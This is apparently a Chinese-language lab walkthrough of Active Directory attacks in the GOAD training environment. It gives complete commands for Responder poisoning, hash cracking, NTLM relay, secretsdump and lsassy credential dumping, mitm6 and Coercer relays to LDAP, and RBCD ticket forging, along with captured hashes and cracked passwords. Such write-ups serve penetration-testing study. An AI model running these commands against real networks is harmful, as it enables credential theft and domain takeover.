如果你在上一篇GOAD-Journey-Part2中仍然没找到有效的域用户或者密码,不妨看看这篇文章。我们来研究下如何投毒和中继。

Responder投毒

当我们在一个内网中没有任何的凭证时,Responder是我们必备的软件。在正常的域里(没有NDR那些杂七杂八的东西),它将会带给你

  • 有效的域用户名
  • netntlm HASH
  • 重定向身份认证功能(中继)
  • …….

根据GOAD作者Mayfly的说法,在GOAD中有两个运行机器人的程序,分别模拟 LLMRN、MDNS 和 NBT-NS 请求。其中一个用户密码强度较低,但没有管理员权限;另一个用户拥有管理员权限,但使用了强密码。

我们在kali攻击机器上启动responder,尝试看看是否能获得到东西。

1
sudo responder -I eth0

等几分钟,就可以获取到NORTH\eddard.stark的netntlmv2 Hash

image-20260125170519725

  • 因为机器人请求的是Brave,而正确的机器名为Braave,导致DNS无法找到。因此 Windows 默认会发送广播请求来查找关联的计算机。通过 responder,我们可以响应该广播查询并声明这是我们自己的服务器,从而获得用户的连接。

再等几分钟,我们又收到了eddard.stark的连接

image-20260125170959353

  • netntlm Hash不能用于哈希传递攻击,但可以破解它们。

    • 我们创建一个名为 responder.hashes 的文件,其中包含找到的两个哈希值,然后我们将使用 hashcat 开始破解它。

      1
      2
      robb.stark::NORTH:fca8d2081c5b71bf:2EA257151FB713C887603E116426D61F:010100000000000080D58875AE8DDC01A247999BBB6EBA3D0000000002000800300053003300560001001E00570049004E002D004200440046004B004E0053005800340052005100480004003400570049004E002D004200440046004B004E005300580034005200510048002E0030005300330056002E004C004F00430041004C000300140030005300330056002E004C004F00430041004C000500140030005300330056002E004C004F00430041004C000700080080D58875AE8DDC010600040002000000080030003000000000000000000000000030000036E0FE45B3C6BAC3E8EF83380F40A254675D9659665C87AD87E5FF71D45214450A001000000000000000000000000000000000000900160063006900660073002F0042007200610076006F0073000000000000000000
      eddard.stark::NORTH:f7122c456244cda5:A99E8B609BC856E67DB6D865D05957FB:010100000000000080D58875AE8DDC01F842BE9FEDA89C410000000002000800300053003300560001001E00570049004E002D004200440046004B004E0053005800340052005100480004003400570049004E002D004200440046004B004E005300580034005200510048002E0030005300330056002E004C004F00430041004C000300140030005300330056002E004C004F00430041004C000500140030005300330056002E004C004F00430041004C000700080080D58875AE8DDC010600040002000000080030003000000000000000000000000030000036E0FE45B3C6BAC3E8EF83380F40A254675D9659665C87AD87E5FF71D45214450A001000000000000000000000000000000000000900140063006900660073002F004D006500720065006E000000000000000000
      1
      hashcat -m 5600 --force -a 0 responder.hashes /usr/share/wordlists/rockyou.txt

      image-20260125171727585

  • 我们很快就能获得一个robb.stark的密码为sexywolfy

  • eddard.stark的密码强度太高了,我们这种方法无法破解他。但是我们还有别的方案,就是下面将要说的中继攻击。

NTLM 中继

未签名的 SMB

让我们查找不需要签名的SMB。

1
nxc smb 192.168.56.0/24 --gen-relay-list relay.txt

image-20260125172801930

好了,现在我们有了 signing:False SMB 计算机列表,我们可以开始尝试向它们转发 NTLM 身份验证。

我们首先将responder的SMB监听和HTTP监听关闭,在/etc/responder/Responder.conf中将这两个改为Off

image-20260125173720470

然后使用ntlmrelayx

1
impacket-ntlmrelayx -tf relay.txt -of netntlm -smb2support -socks --keep-relaying

随后再打开responder

1
sudo responder -I eth0

等待几分钟后,收到请求,输入socks,发现eddard.stark在192.168.56.22中是管理员。

image-20260125182742215

现在我们可以利用这个中继以管理员身份访问计算机。

使用管理员帐户运行 SOCKS 中继

secretsdump

我们刚刚使用的ntlmrelayx开了socks,默认在当前的1080端口

1
proxychains4 impacket-secretsdump -no-pass 'NORTH'/'EDDARD.STARK'@'192.168.56.22'

image-20260125183717978

  • sam 数据库包含本地帐户信息。我们将忽略 vagrant,因为它是设置实验环境的默认用户。
  • 这里的重要信息是本地管理员用户的 NT 哈希值。
  • 我们还获取了最近连接用户的 LSA 缓存(Windows 默认保留最近 10 个用户的缓存),即使域控制器无法访问,这也能帮助我们连接到服务器。但是,这些缓存的凭据可以通过 hashcat 离线破解(速度非常慢)。
  • 最后,我们还获得了计算机帐户的哈希值。(有时,加入域的计算机可能无法获取任何有用的域帐户信息,甚至完全没有相关信息,但如果您获得了此哈希值,则说明您已拥有该域的帐户!)

Lsassy

SAM中并没有域用户的信息,登陆过的域用户通常保存在lsass.exe进程中,所以我们使用Lsassy来获取lsass.exe进程中的用户

Lsassy 允许您远程转储 lsass 文件(比使用 procdump、下载 lsass 转储文件并在本地使用 pypykatz 或 mimikatz 方便得多),它为您完成所有繁琐的操作,例如转储和读取 lsass 内容(它还只转储 lsass 转储中的有用部分,从而优化传输时间)。(lsassy 也以 nxc 模块的形式存在)

1
proxychains4 lsassy --no-pass -d 'NORTH' -u 'EDDARD.STARK' '192.168.56.22'

image-20260125190504393

SMBClient

上面提到的两种方案都是可能会触发EDR告警的,因为操作太过于敏感,虽然Microsoft Defender并不会管你这些操作。

使用SMBClient查看文件并不会触发EDR。

1
proxychains4 impacket-smbclient -no-pass 'NORTH'/'EDDARD.STARK'@'192.168.56.22'

image-20260125191307829

SMBexec命令执行

如果你想执行命令,但是我们使用的是socks连接,只能使用smbexec或 atexec,wmiexec、psexec 和 dcomexec 均无法使用。

1
proxychains4 impacket-smbexec -no-pass 'NORTH'/'EDDARD.STARK'@'192.168.56.22'

image-20260125191736926

Mitm6 /Inveigh+ ntlmrelayx 到 LDAP

另一种有效的网络攻击方法是响应 DHCPv6 请求并将我们的主机设置为默认 DNS 服务器。Windows 默认优先使用 IPv6 而不是 IPv4,因此我们可以使用 MITM6 工具或者Inveigh捕获并篡改 DHCPv6 查询的响应,从而更改 DNS 服务器并将查询重定向到我们的机器。

  • 我们将启动中间人攻击(mitm6)来干扰 DHCPv6,并获取来自主机的 DNS 请求。
  • 顺便提一下,我注意到我们可以毒害域控制器,但之后域控制器并不在意,仍然使用它们的本地主机 DNS 服务器。
  • 所以我们必须对着服务器投毒
  • 在这个例子中,我们将对 Braavos 服务器进行恶意操作。我们将响应 wpad 查询,并将 HTTP 查询转发到 Meereen 上的 LDAPS,以添加一台具有委派访问权限的计算机。

首先开启我们的ntlmrelayx

1
impacket-ntlmrelayx -6 -wh wpadfakeserver.essos.local -t ldaps://meereen.essos.local --delegate-access

然后开启mitm6

1
sudo mitm6 -i eth0 -d essos.local -d sevenkingdoms.local -d north.sevenkingdoms.local --debug -4 192.168.56.200

等待 wpad http 查询将请求转发到 ldaps(您可以重启虚拟机来投毒和利用漏洞,而无需等待)

image-20260125204728470

image-20260125204849488

我们成功添加了一个机器账户ZXDJDCKA$:fa6g^d8HtF6,vUN,并且将BRAAVOS$委派给它。我们可以用这个账户进行getST获取BRAAVOS这个计算机的权限(下章节操作)

同样的,我们也可以用这个relay到ldap并获取域信息(这个账户权限不够的情况)

1
impacket-ntlmrelayx -6 -wh wpadfakeserver.essos.local -t ldap://meereen.essos.local -l /home/kali/temp/

image-20260125211136469

image-20260125211238918

强制认证后relay到ldap

我们可以使用多种方法(petitpotam、printerbug、DFSCoerce)强制从 Meereen DC 建立到我们主机的连接。为了强制建立连接而无需在不同方法之间进行选择,我们可以使用一体化工具 coercer

正如 hackndo 博客 ( en.hackndo.com/ntlm-relay ) 和 hacker recipes ( www.thehacker.recipes/ad/movement/ntlm/relay ) 中精彩解释的那样,如果不使用 CVE-2019-1040(又名 remove-mic),就无法将 smb 连接中继到 ldap(s) 连接。

  • 启动中继,移除mic到 meereen.essos.local 的 ldaps。
1
impacket-ntlmrelayx -t ldap://meereen.essos.local -smb2support --remove-mic --delegate-access
  • 在 braavos 上运行强制身份验证(braavos 是最新的 Windows Server 2016,因此 petitpotam 未授权在这里不起作用)
1
python3 Coercer.py coerce -u khal.drogo -d essos.local -p horse -t braavos.essos.local -l 192.168.56.200

image-20260125212734303

image-20260125212815068

  • 攻击成功了,我们获得了QVGNFSKR$:ShI(whoIy24c)bb,我们现在可以利用 RBCD 攻击braavos。
1
impacket-getST -spn HOST/BRAAVOS.ESSOS.LOCAL -impersonate Administrator -dc-ip 192.168.56.12 'ESSOS.LOCAL/QVGNFSKR$:ShI(whoIy24c)bb'

image-20260125213233271

  • 然后使用这个票据来获取密码
1
2
export KRB5CCNAME=Administrator@[email protected]
impacket-secretsdump -k -no-pass ESSOS.LOCAL/'Administrator'@braavos.essos.local

image-20260125213506171

我们同样可以用最近很流行的CVE-2025-33073进行Relay到SMB,就不多说了,内容都差不多。